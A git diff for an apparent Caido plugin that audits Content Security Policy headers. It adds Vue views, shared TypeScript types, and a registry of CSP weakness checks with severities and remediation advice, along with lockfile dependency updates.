overflow-x-auto" - > - <div - v-for="policy in selectedAnalysisForModal.policies" - :key="policy.id" - class="space-y-1" - > - <div class="text-xs text-gray-500 dark:text-gray-400 mb-1"> - Header: {{ policy.headerName - }}{{ policy.isReportOnly ? " (Report-Only)" : "" }} - </div> - <code - class="block text-sm font-mono text-gray-800 dark:text-gray-200 whitespace-pre-wrap break-all" - > - {{ policy.headerValue }} - </code> - </div> - </div> - </div> - </div> - </div> - - <!-- Additional Vulnerabilities in this Analysis --> - <div - v-if="selectedAnalysisForModal.vulnerabilities.length > 1" - class="border border-gray-200 dark:border-gray-700 rounded-lg p-4" - > - <h4 class="font-medium text-gray-900 dark:text-white mb-3"> - Other Vulnerabilities in this Analysis ({{ - selectedAnalysisForModal.vulnerabilities.length - 1 - }} - more) - </h4> - <div class="space-y-2"> - <div - v-for="vuln in selectedAnalysisForModal.vulnerabilities.filter( - (v) => v.id !== selectedVulnerability?.id, - )" - :key="vuln.id" - class="flex items-center gap-3 p-2 bg-gray-50 dark:bg-gray-800 rounded cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-700 transition-colors" - @click="selectedVulnerability = vuln" - > - <Tag - :value="vuln.severity.toUpperCase()" - :severity="getSeverityColor(vuln.severity)" - class="text-xs" - /> - <span class="text-sm font-medium text-gray-900 dark:text-white"> - {{ - vuln.type - .replace(/-/g, " ") - .replace(/\b\w/g, (l) => l.toUpperCase()) - }} - </span> - <code - class="text-xs bg-gray-200 dark:bg-gray-700 px-2 py-1 rounded" - >{{ vuln.directive }}</code - > - </div> - </div> - </div> - </div> - </div> - </div> + <VulnerabilityModal /> </div> </template> diff --git a/packages/frontend/src/views/Configuration.vue b/packages/frontend/src/views/Configuration.vue new file mode 100644 index 0000000..1f0ba82 --- /dev/null +++ b/packages/frontend/src/views/Configuration.vue @@ -0,0 +1,7 @@ +<script setup lang="ts"> +import { ConfigurationPage } from "@/components/Configuration"; +</script> + +<template> + <ConfigurationPage /> +</template> diff --git a/packages/frontend/src/views/Dashboard.vue b/packages/frontend/src/views/Dashboard.vue new file mode 100644 index 0000000..37b77a5 --- /dev/null +++ b/packages/frontend/src/views/Dashboard.vue @@ -0,0 +1,7 @@ +<script setup lang="ts"> +import { Dashboard } from "@/components/Dashboard"; +</script> + +<template> + <Dashboard /> +</template> diff --git a/packages/frontend/src/views/Database.vue b/packages/frontend/src/views/Database.vue new file mode 100644 index 0000000..abf2949 --- /dev/null +++ b/packages/frontend/src/views/Database.vue @@ -0,0 +1,44 @@ +<script setup lang="ts"> +import { storeToRefs } from "pinia"; +import Card from "primevue/card"; +import IconField from "primevue/iconfield"; +import InputIcon from "primevue/inputicon"; +import InputText from "primevue/inputtext"; + +import { DatabasePage } from "@/components/Database"; +import { useBypassData } from "@/composables/useBypassData"; + +const bypassStore = useBypassData(); +const { searchQuery, records } = storeToRefs(bypassStore); +</script> + +<template> + <div class="h-full flex flex-col gap-1 min-h-0"> + <Card + class="shrink-0" + :pt="{ body: { class: 'p-0' }, content: { class: 'p-0' } }" + > + <template #content> + <div class="flex justify-between items-center px-4 py-3 gap-4"> + <div class="flex-1"> + <h2 class="text-lg font-semibold">CSP Bypass Database</h2> + <p class="text-sm text-surface-400"> + {{ records.length }} bypass techniques from security research + </p> + </div> + <IconField> + <InputIcon class="fas fa-magnifying-glass" /> + <InputText + v-model="searchQuery" + placeholder="Search..." + class="w-64" + /> + </IconField> + </div> + </template> + </Card> + <div class="flex-1 min-h-0"> + <DatabasePage /> + </div> + </div> +</template> diff --git a/packages/frontend/tsconfig.json b/packages/frontend/tsconfig.json index 15cd216..6807593 100644 --- a/packages/frontend/tsconfig.json +++ b/packages/frontend/tsconfig.json @@ -2,7 +2,7 @@ "extends": "../../tsconfig.json", "compilerOptions": { "lib": ["DOM", "ESNext"], - "types": ["@caido/sdk-backend"], + "types": ["@caido/sdk-backend", "vitest/globals"], "baseUrl": ".", "paths": { "@/*": ["src/*"] diff --git a/packages/shared/package.json b/packages/shared/package.json new file mode 100644 index 0000000..e3e9eb4 --- /dev/null +++ b/packages/shared/package.json @@ -0,0 +1,11 @@ +{ + "name": "shared", + "version": "0.0.0", + "private": true, + "type": "module", + "types": "src/index.ts", + "main": "src/index.ts", + "scripts": { + "typecheck": "tsc --noEmit" + } +} diff --git a/packages/shared/src/analysis.ts b/packages/shared/src/analysis.ts new file mode 100644 index 0000000..dc76b6a --- /dev/null +++ b/packages/shared/src/analysis.ts @@ -0,0 +1,17 @@ +import type { ParsedPolicy } from "./csp"; +import type { PolicyFinding, SeverityLevel } from "./vulnerability"; + +export type AnalysisResult = { + requestId: string; + policies: ParsedPolicy[]; + findings: PolicyFinding[]; + analyzedAt: Date; +}; + +export type AnalysisSummary = { + totalAnalyses: number; + totalFindings: number; + severityCounts: Record<SeverityLevel, number>; + checkIdCounts: Record<string, number>; + lastAnalyzedAt: Date | undefined; +}; diff --git a/packages/shared/src/bypass.ts b/packages/shared/src/bypass.ts new file mode 100644 index 0000000..422053c --- /dev/null +++ b/packages/shared/src/bypass.ts @@ -0,0 +1,22 @@ +export type BypassDifficulty = "easy" | "medium" | "hard"; + +export type BypassSource = "cspbypass" | "generic"; + +export type BypassRecord = { + domain: string; + code: string; + technique: string; + id: string; +}; + +export type CuratedBypass = { + id: string; + name: string; + technique: string; + payload: string; + description: string; + difficulty: BypassDifficulty; + requirements?: string[]; + domain?: string; + source: BypassSource; +}; diff --git a/packages/shared/src/csp.ts b/packages/shared/src/csp.ts new file mode 100644 index 0000000..9f63c15 --- /dev/null +++ b/packages/shared/src/csp.ts @@ -0,0 +1,33 @@ +export type PolicySourceKind = + | "keyword" + | "scheme" + | "host" + | "nonce" + | "hash" + | "unsafe"; + +export type PolicySource = { + value: string; + kind: PolicySourceKind; + isWildcard: boolean; + isUnsafe: boolean; +}; + +export type PolicyDirective = { + name: string; + values: string[]; + isImplicit: boolean; + sources: PolicySource[]; +}; + +export type ParsedPolicy = { + id: string; + requestId: string; + headerName: string; + headerValue: string; + directives: Map<string, PolicyDirective>; + isReportOnly: boolean; + isDeprecated: boolean; + parsedAt: Date; + url?: string; +}; diff --git a/packages/shared/src/events.ts b/packages/shared/src/events.ts new file mode 100644 index 0000000..2344686 --- /dev/null +++ b/packages/shared/src/events.ts @@ -0,0 +1,3 @@ +export type BackendEventMap = { + analysisUpdated: () => void; +}; diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts new file mode 100644 index 0000000..6102e99 --- /dev/null +++ b/packages/shared/src/index.ts @@ -0,0 +1,33 @@ +export { type Result, ok, err } from "./result"; + +export { + type PolicySourceKind, + type PolicySource, + type PolicyDirective, + type ParsedPolicy, +} from "./csp"; + +export { + type CheckId, + type SeverityLevel, + type PolicyFinding, +} from "./vulnerability"; + +export { type AnalysisResult, type AnalysisSummary } from "./analysis"; + +export { + type ConfigurableCheckId, + type CheckCategory, + type CheckDefinition, + CHECK_REGISTRY, + DEFAULT_CHECK_DEFINITIONS, +} from "./settings"; + +export { + type BypassDifficulty, + type BypassSource, + type BypassRecord, + type CuratedBypass, +} from "./bypass"; + +export { type BackendEventMap } from "./events"; diff --git a/packages/shared/src/result.ts b/packages/shared/src/result.ts new file mode 100644 index 0000000..b801d21 --- /dev/null +++ b/packages/shared/src/result.ts @@ -0,0 +1,11 @@ +export type Result<T> = + | { kind: "Ok"; value: T } + | { kind: "Error"; error: string }; + +export function ok<T>(value: T): Result<T> { + return { kind: "Ok", value }; +} + +export function err<T>(error: string): Result<T> { + return { kind: "Error", error }; +} diff --git a/packages/shared/src/settings.ts b/packages/shared/src/settings.ts new file mode 100644 index 0000000..f03d39a --- /dev/null +++ b/packages/shared/src/settings.ts @@ -0,0 +1,258 @@ +import type { CheckId, SeverityLevel } from "./vulnerability"; + +export type ConfigurableCheckId = + | "script-wildcard" + | "script-unsafe-inline" + | "script-unsafe-eval" + | "script-data-uri" + | "object-wildcard" + | "jsonp-bypass-risk" + | "angularjs-bypass" + | "ai-ml-host" + | "web3-host" + | "cdn-supply-chain" + | "missing-trusted-types" + | "missing-require-trusted-types" + | "missing-essential-directive" + | "permissive-base-uri" + | "style-wildcard" + | "style-unsafe-inline" + | "deprecated-header" + | "user-content-host" + | "vulnerable-js-host" + | "nonce-unsafe-inline-conflict"; + +export type CheckCategory = + | "Critical" + | "Modern Threats" + | "Missing Features" + | "Policy Weaknesses" + | "Style Issues" + | "Legacy Issues" + | "Advanced"; + +export type CheckDefinition = { + name: string; + category: CheckCategory; + severity: SeverityLevel; + description: string; + remediation: string; + cweId?: number; +}; + +export const CHECK_REGISTRY: Record<CheckId, CheckDefinition> = { + "script-wildcard": { + name: "Script Wildcard Sources", + category: "Critical", + severity: "high", + description: + "Allows script execution from any domain, completely bypassing CSP protection", + remediation: + "Remove '*' and specify exact trusted domains. Use nonces or hashes for inline scripts.", + cweId: 79, + }, + "script-unsafe-inline": { + name: "Unsafe Inline Scripts", + category: "Critical", + severity: "high", + description: + "Permits inline JavaScript execution, enabling XSS attacks through script tags and event handlers", + remediation: + "Remove 'unsafe-inline'. Use nonces ('nonce-xyz123') or hashes ('sha256-...') for legitimate inline scripts.", + cweId: 79, + }, + "script-unsafe-eval": { + name: "Unsafe Eval Execution", + category: "Critical", + severity: "high", + description: + "Enables eval(), Function() constructor, and setTimeout/setInterval with strings", + remediation: + "Remove 'unsafe-eval'. Refactor code to avoid dynamic code execution.", + cweId: 94, + }, + "script-data-uri": { + name: "Data URI Script Execution", + category: "Critical", + severity: "high", + description: "Allows base64-encoded JavaScript execution via data: URIs", + remediation: + "Remove 'data:' from script-src. Use proper script files or nonces/hashes.", + cweId: 79, + }, + "object-wildcard": { + name: "Object Wildcard Sources", + category: "Critical", + severity: "high", + description: + "Allows loading objects/plugins from any source, potential for code execution", + remediation: "Set object-src to 'none' or specify trusted sources only.", + cweId: 79, + }, + "jsonp-bypass-risk": { + name: "JSONP Bypass Risk", + category: "Modern Threats", + severity: "high", + description: "Host supports JSONP callbacks that can bypass CSP", + remediation: "Remove JSONP-enabled hosts or use fetch() with proper CORS.", + cweId: 79, + }, + "angularjs-bypass": { + name: "AngularJS Template Injection", + category: "Modern Threats", + severity: "high", + description: "AngularJS versions allow template injection bypasses of CSP", + remediation: "Upgrade to Angular 2+ or remove AngularJS entirely.", + cweId: 79, + }, + "ai-ml-host": { + name: "AI/ML Service Endpoint Risk", + category: "Modern Threats", + severity: "medium", + description: + "AI/ML service endpoint detected - potential data exfiltration vector", + remediation: + "Review necessity of AI/ML service integration and implement additional security controls.", + }, + "web3-host": { + name: "Web3/Crypto Endpoint Risk", + category: "Modern Threats", + severity: "medium", + description: + "Web3/cryptocurrency endpoint detected - financial transaction risk", + remediation: + "Review necessity of Web3 integration and implement additional security controls.", + }, + "cdn-supply-chain": { + name: "CDN Supply Chain Risk", + category: "Modern Threats", + severity: "medium", + description: "CDN endpoint with known supply chain attack history detected", + remediation: + "Use Subresource Integrity (SRI) or self-host critical assets.", + }, + "missing-trusted-types": { + name: "Trusted Types Not Configured", + category: "Missing Features", + severity: "medium", + description: + "Trusted Types policy not configured - DOM XSS protection unavailable", + remediation: "Add 'trusted-types' directive to enable DOM XSS protection.", + }, + "missing-require-trusted-types": { + name: "Trusted Types Not Enforced", + category: "Missing Features", + severity: "medium", + description: "DOM manipulation not restricted to Trusted Types", + remediation: "Add 'require-trusted-types-for \"script\"' directive.", + }, + "missing-essential-directive": { + name: "Missing Essential Directives", + category: "Missing Features", + severity: "medium", + description: "Critical security directive not defined", + remediation: "Add the missing directive with appropriate values.", + }, + "permissive-base-uri": { + name: "Permissive Base URI", + category: "Policy Weaknesses", + severity: "medium", + description: "Unrestricted base URI can enable injection attacks", + remediation: "Set base-uri to 'self' or specific trusted origins.", + }, + "style-wildcard": { + name: "Style Wildcard Sources", + category: "Style Issues", + severity: "low", + description: "Allows stylesheets from any domain", + remediation: "Restrict style-src to specific trusted domains.", + cweId: 79, + }, + "style-unsafe-inline": { + name: "Unsafe Inline Styles", + category: "Style Issues", + severity: "medium", + description: "Permits inline CSS which can be used for data exfiltration", + remediation: + "Remove 'unsafe-inline' from style-src. Use nonces or hashes for inline styles.", + cweId: 79, + }, + "deprecated-header": { + name: "Deprecated CSP Headers", + category: "Legacy Issues", + severity: "medium", + description: + "Using deprecated CSP header that may not be supported by modern browsers", + remediation: "Use 'Content-Security-Policy' header instead.", + }, + "user-content-host": { + name: "User-Uploaded Content Hosts", + category: "Legacy Issues", + severity: "high", + description: + "Domain allows user-uploaded content that could contain malicious scripts", + remediation: + "Use Subresource Integrity (SRI), restrict to specific paths, or self-host assets.", + cweId: 79, + }, + "vulnerable-js-host": { + name: "Vulnerable JS Library Hosts", + category: "Legacy Issues", + severity: "high", + description: "Domain hosts known vulnerable JavaScript libraries", + remediation: + "Update to latest library versions, self-host, or use Subresource Integrity (SRI).", + cweId: 79, + }, + "nonce-unsafe-inline-conflict": { + name: "Nonce/Unsafe-Inline Conflict", + category: "Advanced", + severity: "medium", + description: + "Nonce protection is bypassed when 'unsafe-inline' is also present", + remediation: + "Remove 'unsafe-inline' when using nonces for better security.", + }, + "wildcard-limited": { + name: "Limited Wildcard Usage", + category: "Policy Weaknesses", + severity: "low", + description: + "Wildcard source in non-script directive reduces policy effectiveness", + remediation: "Replace wildcard with specific trusted domains.", + }, + "supply-chain-risk": { + name: "Supply Chain Risk", + category: "Modern Threats", + severity: "medium", + description: "Third-party supply chain risk detected", + remediation: "Review third-party dependencies and use SRI.", + }, + "privacy-tracking-risk": { + name: "Privacy Tracking Risk", + category: "Modern Threats", + severity: "low", + description: "Privacy and tracking service endpoint detected", + remediation: "Review tracking integrations for privacy compliance.", + }, + "gaming-metaverse-risk": { + name: "Gaming/Metaverse Risk", + category: "Modern Threats", + severity: "low", + description: "Gaming/metaverse service endpoint detected", + remediation: "Review gaming platform integrations for content security.", + }, +}; + +const NON_CONFIGURABLE_IDS = new Set([ + "wildcard-limited", + "supply-chain-risk", + "privacy-tracking-risk", + "gaming-metaverse-risk", +]); + +export const DEFAULT_CHECK_DEFINITIONS = Object.fromEntries( + Object.entries(CHECK_REGISTRY).filter( + ([id]) => !NON_CONFIGURABLE_IDS.has(id), + ), +) as Record<ConfigurableCheckId, CheckDefinition>; diff --git a/packages/shared/src/vulnerability.ts b/packages/shared/src/vulnerability.ts new file mode 100644 index 0000000..489090c --- /dev/null +++ b/packages/shared/src/vulnerability.ts @@ -0,0 +1,39 @@ +export type CheckId = + | "script-wildcard" + | "script-unsafe-inline" + | "script-unsafe-eval" + | "script-data-uri" + | "object-wildcard" + | "style-wildcard" + | "style-unsafe-inline" + | "user-content-host" + | "vulnerable-js-host" + | "deprecated-header" + | "wildcard-limited" + | "jsonp-bypass-risk" + | "angularjs-bypass" + | "missing-trusted-types" + | "missing-require-trusted-types" + | "missing-essential-directive" + | "permissive-base-uri" + | "nonce-unsafe-inline-conflict" + | "ai-ml-host" + | "web3-host" + | "cdn-supply-chain" + | "supply-chain-risk" + | "privacy-tracking-risk" + | "gaming-metaverse-risk"; + +export type SeverityLevel = "high" | "medium" | "low" | "info"; + +export type PolicyFinding = { + id: string; + checkId: CheckId; + severity: SeverityLevel; + directive: string; + value: string; + description: string; + remediation: string; + cweId?: number; + requestId: string; +}; diff --git a/packages/shared/tsconfig.json b/packages/shared/tsconfig.json new file mode 100644 index 0000000..20d1aa6 --- /dev/null +++ b/packages/shared/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.json", + "include": ["./src/**/*.ts"] +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index c79dc8d..405d1c4 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -9,77 +9,89 @@ importers: .: devDependencies: '@caido-community/dev': - specifier: ^0.1.3 - version: 0.1.6(@types/node@24.10.11)(postcss@8.5.6)(typescript@5.9.3)(yaml@2.8.2) + specifier: 0.1.6 + version: 0.1.6(@types/node@25.5.2)(postcss@8.5.9)(typescript@5.5.4)(yaml@2.8.3) '@caido/eslint-config': - specifier: ^0.8.0 - version: 0.8.0(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7))(prettier@3.7.4)(typescript@5.9.3) + specifier: 0.5.0 + version: 0.5.0(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint@9.29.0(jiti@2.4.2))(prettier@3.8.1)(typescript@5.5.4) '@caido/tailwindcss': specifier: 0.0.1 version: 0.0.1 '@vitejs/plugin-vue': - specifier: 5.2.4 - version: 5.2.4(vite@6.0.7(@types/node@24.10.11)(jiti@1.21.7)(yaml@2.8.2))(vue@3.5.26(typescript@5.9.3)) + specifier: 5.2.1 + version: 5.2.1(vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3))(vue@3.5.22(typescript@5.5.4)) eslint: - specifier: ^10.0.0 - version: 10.0.0(jiti@1.21.7) - lodash: - specifier: ^4.17.21 - version: 4.17.21 + specifier: 9.29.0 + version: 9.29.0(jiti@2.4.2) + knip: + specifier: 5.70.2 + version: 5.70.2(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2)(@types/node@25.5.2)(typescript@5.5.4) postcss-prefixwrap: - specifier: 1.57.2 - version: 1.57.2(postcss@8.5.6) + specifier: 1.51.0 + version: 1.51.0(postcss@8.5.9) tailwindcss: - specifier: 3.4.19 - version: 3.4.19(yaml@2.8.2) + specifier: 3.4.13 + version: 3.4.13 tailwindcss-primeui: - specifier: 0.6.1 - version: 0.6.1(tailwindcss@3.4.19(yaml@2.8.2)) + specifier: 0.3.4 + version: 0.3.4(tailwindcss@3.4.13) typescript: - specifier: 5.9.3 - version: 5.9.3 + specifier: 5.5.4 + version: 5.5.4 + vitest: + specifier: 4.1.2 + version: 4.1.2(@types/node@25.5.2)(vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3)) packages/backend: + dependencies: + shared: + specifier: workspace:* + version: link:../shared devDependencies: '@caido/sdk-backend': - specifier: ^0.54.0 - version: 0.54.1 - '@types/node': - specifier: ^24.3.1 - version: 24.10.11 + specifier: 0.55.3 + version: 0.55.3 packages/frontend: dependencies: '@caido/primevue': specifier: 0.3.3 - version: 0.3.3(primevue@4.1.0(vue@3.5.26(typescript@5.9.3))) + version: 0.3.3(primevue@4.1.0(vue@3.5.22(typescript@5.5.4))) + pinia: + specifier: 3.0.4 + version: 3.0.4(typescript@5.5.4)(vue@3.5.22(typescript@5.5.4)) primevue: specifier: 4.1.0 - version: 4.1.0(vue@3.5.26(typescript@5.9.3)) + version: 4.1.0(vue@3.5.22(typescript@5.5.4)) + shared: + specifier: workspace:* + version: link:../shared vue: - specifier: 3.5.26 - version: 3.5.26(typescript@5.9.3) + specifier: 3.5.22 + version: 3.5.22(typescript@5.5.4) devDependencies: '@caido/sdk-backend': - specifier: ^0.54.0 - version: 0.54.1 + specifier: 0.55.3 + version: 0.55.3 '@caido/sdk-frontend': - specifier: ^0.54.0 - version: 0.54.1(@ai-sdk/provider@2.0.0)(@codemirror/state@6.5.2)(@codemirror/view@6.39.8)(vue@3.5.26(typescript@5.9.3)) + specifier: 0.55.3 + version: 0.55.3(@ai-sdk/provider@3.0.8)(@codemirror/state@6.6.0)(@codemirror/view@6.38.5)(vue@3.5.22(typescript@5.5.4)) '@codemirror/view': - specifier: 6.39.8 - version: 6.39.8 + specifier: 6.38.5 + version: 6.38.5 backend: specifier: workspace:* version: link:../backend vue-tsc: - specifier: 2.2.12 - version: 2.2.12(typescript@5.9.3) + specifier: 3.1.1 + version: 3.1.1(typescript@5.5.4) + + packages/shared: {} packages: - '@ai-sdk/provider@2.0.0': - resolution: {integrity: sha512-6o7Y2SeO9vFKB8lArHXehNuusnpddKPk7xqL7T2/b+OvXMRIXUO1rR4wcv1hAFUAT9avGZshty3Wlua/XA7TvA==} + '@ai-sdk/provider@3.0.8': + resolution: {integrity: sha512-oGMAgGoQdBXbZqNG0Ze56CHjDZ1IDYOwGYxYjO5KLSlz5HiNQ9udIXsPZ61VWaHGZ5XW/jyjmr6t2xz2jGVwbQ==} engines: {node: '>=18'} '@alloc/quick-lru@5.2.0': @@ -94,13 +106,13 @@ packages: resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} engines: {node: '>=6.9.0'} - '@babel/parser@7.28.5': - resolution: {integrity: sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==} + '@babel/parser@7.29.2': + resolution: {integrity: sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==} engines: {node: '>=6.0.0'} hasBin: true - '@babel/types@7.28.5': - resolution: {integrity: sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==} + '@babel/types@7.29.0': + resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} engines: {node: '>=6.9.0'} '@caido-community/dev@0.1.6': @@ -108,8 +120,8 @@ packages: engines: {node: '>=20', pnpm: '>=9'} hasBin: true - '@caido/eslint-config@0.8.0': - resolution: {integrity: sha512-ps4beOseZwQfAC0/ckjyDc8YXCAsD4NDajrDAXkwec7NKd1Hf5TNFtByGDGVOoVreiL3a3UiN5WFgvfDspxtwg==} + '@caido/eslint-config@0.5.0': + resolution: {integrity: sha512-RPARI5uUfR2SmZzPwLl52P/UG5TZ6oS0bhVQ+b+iH6t4xwAjAsRL/K4aISBcLRmGF8apSkZV4dPujmEQoxs1LQ==} peerDependencies: eslint: '>=9.0.0' prettier: ^3.0.0 @@ -122,16 +134,16 @@ packages: peerDependencies: primevue: 4.1.0 - '@caido/quickjs-types@0.24.0': - resolution: {integrity: sha512-BKkvkVbaZtm9b3qp2R0T4gp0dExstuExIlRaKQSnC5RgATsR+mEQUU0TK8oFjJwCCQsdVoSkQGnDnK8XeaCfHA==} + '@caido/quickjs-types@0.25.4': + resolution: {integrity: sha512-U7Cvi4aHoCN8T2JB+Az3ArqQ3MUK0PRCtBm5Sq1rfqaJ9NymAkh3O29q77Keh3G/zINq2WTkKZq5qJlvrQNl+Q==} - '@caido/sdk-backend@0.54.1': - resolution: {integrity: sha512-YNIKIYYINMl5e6fdcITB+50LPjLw+m1B6PAKDOTcdNo+KIbYliQqzJptsQiz/vggcnuWmirablWwR+vRB4ohqA==} + '@caido/sdk-backend@0.55.3': + resolution: {integrity: sha512-kOrkBtmu8U0qo4kJje7C0BOO9PWf7skKAJM77bVeWJ6aIkxsnBzRyxVxdaD77UbKK3oVT5xUgSx62Ns3xjzSEw==} - '@caido/sdk-frontend@0.54.1': - resolution: {integrity: sha512-juLWVTTAb8Klcyafs1t8M4hhD9gNNDsm9XnMMEW3GO96upW/JIZjRZH3IHbD5CL4ihvjL34BznHKHm2P3ZG3aw==} + '@caido/sdk-frontend@0.55.3': + resolution: {integrity: sha512-ALKnwVAaOQthX9ZVZwJJaQE6abQtvlhjL2kK9a6z0dzfrygAj8LqIV7PKanqzona+8g1DkLJ5ptjNd0q/XtcAA==} peerDependencies: - '@ai-sdk/provider': ^2.0.0 + '@ai-sdk/provider': ^3.0.1 '@codemirror/state': ^6.0.0 '@codemirror/view': ^6.0.0 vue: ^3.0.0 @@ -142,11 +154,20 @@ packages: '@caido/tailwindcss@0.0.1': resolution: {integrity: sha512-BGp7s8BiZv6eBV8x/j0t5nPBVKP7Bm+gJVY4APcFgFkNkrRSRDo0VuXN52OhiHc/+vTg85lrmLO8IWMM5bcJrQ==} - '@codemirror/state@6.5.2': - resolution: {integrity: sha512-FVqsPqtPWKVVL3dPSxy8wEF/ymIEuVzF1PK3VbUgrxXpJUSHQWWZz4JMToquRxnkw+36LTamCZG2iua2Ptq0fA==} + '@codemirror/state@6.6.0': + resolution: {integrity: sha512-4nbvra5R5EtiCzr9BTHiTLc+MLXK2QGiAVYMyi8PkQd3SR+6ixar/Q/01Fa21TBIDOZXgeWV4WppsQolSreAPQ==} + + '@codemirror/view@6.38.5': + resolution: {integrity: sha512-SFVsNAgsAoou+BjRewMqN+m9jaztB9wCWN9RSRgePqUbq8UVlvJfku5zB2KVhLPgH/h0RLk38tvd4tGeAhygnw==} + + '@emnapi/core@1.9.2': + resolution: {integrity: sha512-UC+ZhH3XtczQYfOlu3lNEkdW/p4dsJ1r/bP7H8+rhao3TTTMO1ATq/4DdIi23XuGoFY+Cz0JmCbdVl0hz9jZcA==} + + '@emnapi/runtime@1.9.2': + resolution: {integrity: sha512-3U4+MIWHImeyu1wnmVygh5WlgfYDtyf0k8AbLhMFxOipihf6nrWC4syIm/SwEeec0mNSafiiNnMJwbza/Is6Lw==} - '@codemirror/view@6.39.8': - resolution: {integrity: sha512-1rASYd9Z/mE3tkbC9wInRlCNyCkSn+nLsiQKZhEDUUJiUfs/5FHDpCUDaQpoTIaNGeDc6/bhaEAyLmeEucEFPw==} + '@emnapi/wasi-threads@1.2.1': + resolution: {integrity: sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==} '@esbuild/aix-ppc64@0.24.2': resolution: {integrity: sha512-thpVCb/rhxE/BnMLQ7GReQLLN8q9qbHmI55F4489/ByVg2aQaQ6kbcLb6FHkocZzQhxc4gx0sCk0tJkKBFzDhA==} @@ -298,8 +319,8 @@ packages: cpu: [x64] os: [win32] - '@eslint-community/eslint-utils@4.9.0': - resolution: {integrity: sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==} + '@eslint-community/eslint-utils@4.9.1': + resolution: {integrity: sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==} engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} peerDependencies: eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 @@ -308,29 +329,41 @@ packages: resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==} engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} - '@eslint/config-array@0.23.1': - resolution: {integrity: sha512-uVSdg/V4dfQmTjJzR0szNczjOH/J+FyUMMjYtr07xFRXR7EDf9i1qdxrD0VusZH9knj1/ecxzCQQxyic5NzAiA==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} + '@eslint/config-array@0.20.1': + resolution: {integrity: sha512-OL0RJzC/CBzli0DrrR31qzj6d6i6Mm3HByuhflhl4LOBiWxN+3i6/t/ZQQNii4tjksXi8r2CRW1wMpWA2ULUEw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/config-helpers@0.2.3': + resolution: {integrity: sha512-u180qk2Um1le4yf0ruXH3PYFeEZeYC3p/4wCTKrr2U1CmGdzGi3KtY0nuPDH48UJxlKCC5RDzbcbh4X0XlqgHg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/core@0.14.0': + resolution: {integrity: sha512-qIbV0/JZr7iSDjqAc60IqbLdsj9GDt16xQtWD+B78d/HAlvysGdZZ6rpJHGAc2T0FQx1X6thsSPdnoiGKdNtdg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@eslint/config-helpers@0.5.2': - resolution: {integrity: sha512-a5MxrdDXEvqnIq+LisyCX6tQMPF/dSJpCfBgBauY+pNZ28yCtSsTvyTYrMhaI+LK26bVyCJfJkT0u8KIj2i1dQ==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} + '@eslint/core@0.15.2': + resolution: {integrity: sha512-78Md3/Rrxh83gCxoUc0EiciuOHsIITzLy53m3d9UyiW8y9Dj2D29FeETqyKA+BRK76tnTp6RXWb3pCay8Oyomg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@eslint/core@1.1.0': - resolution: {integrity: sha512-/nr9K9wkr3P1EzFTdFdMoLuo1PmIxjmwvPozwoSodjNBdefGujXQUF93u1DDZpEaTuDvMsIQddsd35BwtrW9Xw==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} + '@eslint/eslintrc@3.3.5': + resolution: {integrity: sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} '@eslint/js@9.17.0': resolution: {integrity: sha512-Sxc4hqcs1kTu0iID3kcZDW3JHq2a77HO9P8CP6YEA/FpH3Ll8UXE2r/86Rz9YJLKme39S9vU5OWNjC6Xl0Cr3w==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@eslint/object-schema@3.0.1': - resolution: {integrity: sha512-P9cq2dpr+LU8j3qbLygLcSZrl2/ds/pUpfnHNNuk5HW7mnngHs+6WSq5C9mO3rqRX8A1poxqLTC9cu0KOyJlBg==} - engines: {node: ^20.19.0 